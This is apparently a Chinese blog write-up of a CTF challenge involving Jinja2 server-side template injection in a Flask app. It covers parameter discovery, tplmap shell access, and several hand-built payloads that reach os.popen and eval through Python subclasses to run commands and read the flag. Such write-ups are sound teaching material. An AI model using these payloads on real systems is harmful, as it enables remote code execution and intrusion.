RootersCTF2019 I_<3_Flask 0x70-0x7F
发现漏洞
这道题是模板注入。
首先查看源代码,并没有什么用。
dirsearch爆破一下,什么也没有。
本题是flask类题目,ctf常考点不过就是模板注入,所以我们需要寻找可注入参数,本地并没有给出,需要我们自己去爆破。
我们这里采用arjun工具进行爆破。工具链接:https://github.com/s0md3v/Arjun
最终可爆破出来参数name。
测试了一下的确存在模板注入。
接下来就是对漏洞的利用。
漏洞利用
工具tplmap
成功,发现为Jinja2模板,在ctf题目中经常考察
直接–os-shell拿下shell,读取flag
手工利用
只会工具当然不行,有时候工具无法成功,就需要自己手动测试,所以如何手撸也是需要掌握的。
具体可参考这篇文章,东西很多且杂,写给自己看的大佬别喷我。
https://sakurahack-y.github.io/2021/10/15/ssti-flak%E6%A1%86%E6%9E%B6/
首先给几个比较通用的payload
http://b8ef4c5f-f8bd-40de-acd4-c17dec6fb0d6.node4.buuoj.cn:81/?name={% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
http://b8ef4c5f-f8bd-40de-acd4-c17dec6fb0d6.node4.buuoj.cn:81/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
然后我们再讲一讲自己如何撸出来一个payload,做法就是寻找可利用的类。
1、有popen()的类
os._wrap_close
payload:
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
2、有os模块的
socket._socketobject(一般在71)、site._Printer等模块
payload:
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen(cat /xxx/flag)}}
3、有builtins的类
__ builtins __代码执行(最常用的方法)
warnings.catch_warnings含有,常用的还有email.header._ValueFormatter
__ builtins __ 是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__ builtins __ 这类模块在Python启动时为我们导入了,可以使用dir(__ builtins __ )来查看调用方法的列表,然后可以发现__ builtins __ 下有eval,__ import __等的函数,因此可以利用此来执行命令。
好了,接下来进行实践。
我们把所有子类列出来
好家伙出来了很多啊,我们只需要找到我们需要的就好,我们用python脚本跑一下
import json
a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
我们先来找下os._wrap_close
已经出来了在132位,那么我们就可以构造一个payload
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
我们来测试一下是否可以
成功列出来了文件。
直接读取flag
同理,可以利用的类还有很多啊,
就像这个类也在里面包含着,我们同样可以利用它来获取flag。
方法有很多,理解原理并掌握其中几种方法即可。
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!